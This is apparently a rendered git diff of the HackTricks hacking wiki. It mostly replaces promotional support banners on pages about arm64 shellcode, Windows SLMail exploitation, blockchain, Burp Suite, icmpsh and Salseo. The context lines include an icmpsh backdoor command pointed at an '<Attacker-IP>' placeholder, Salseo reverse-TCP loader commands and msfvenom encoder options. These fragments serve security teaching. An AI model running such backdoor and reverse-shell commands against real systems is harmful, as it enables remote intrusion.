* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack * arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
View file

@ -1,18 +1,19 @@
# Stack Shellcode - arm64 # Stack Shellcode - arm64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
Find an introduction to arm64 in: Find an introduction to arm64 in:
@ -92,16 +93,17 @@ The only "complicated" thing to find here would be the address in the stack to c
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}

30
binary-exploitation/stack-overflow/uninitialized-variables.md
View file

@ -1,18 +1,19 @@
# Uninitialized Variables # Uninitialized Variables
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -77,16 +78,17 @@ int main() {
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
{% hint style="success" %}
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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</details> </details>
{% endhint %}

30
binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
View file

@ -1,18 +1,19 @@
# Windows Exploiting (Basic Guide - OSCP lvl) # Windows Exploiting (Basic Guide - OSCP lvl)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Start installing the SLMail service** ## **Start installing the SLMail service**
@ -271,16 +272,17 @@ Add this parameters:
EXITFUNC=thread -e x86/shikata_ga_nai EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
blockchain/blockchain-and-crypto-currencies/README.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Concepts ## Basic Concepts
@ -199,18 +200,19 @@ These practices and mechanisms are foundational for anyone looking to engage wit
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
burp-suite.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
# Basic Payloads # Basic Payloads
@ -30,18 +31,19 @@ Other ways to support HackTricks:
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
c2/icmpsh.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
@ -45,18 +46,19 @@ icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
c2/salseo.md
View file

@ -1,18 +1,19 @@
# Salseo # Salseo
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Compiling the binaries ## Compiling the binaries
@ -187,16 +188,17 @@ set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

34
crypto-and-stego/blockchain-and-crypto-currencies.md
View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Concepts ## Basic Concepts
@ -199,18 +200,19 @@ These practices and mechanisms are foundational for anyone looking to engage wit
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
crypto-and-stego/certificates.md
View file

@ -1,18 +1,19 @@
# Certificates # Certificates
{% hint style="success" %}
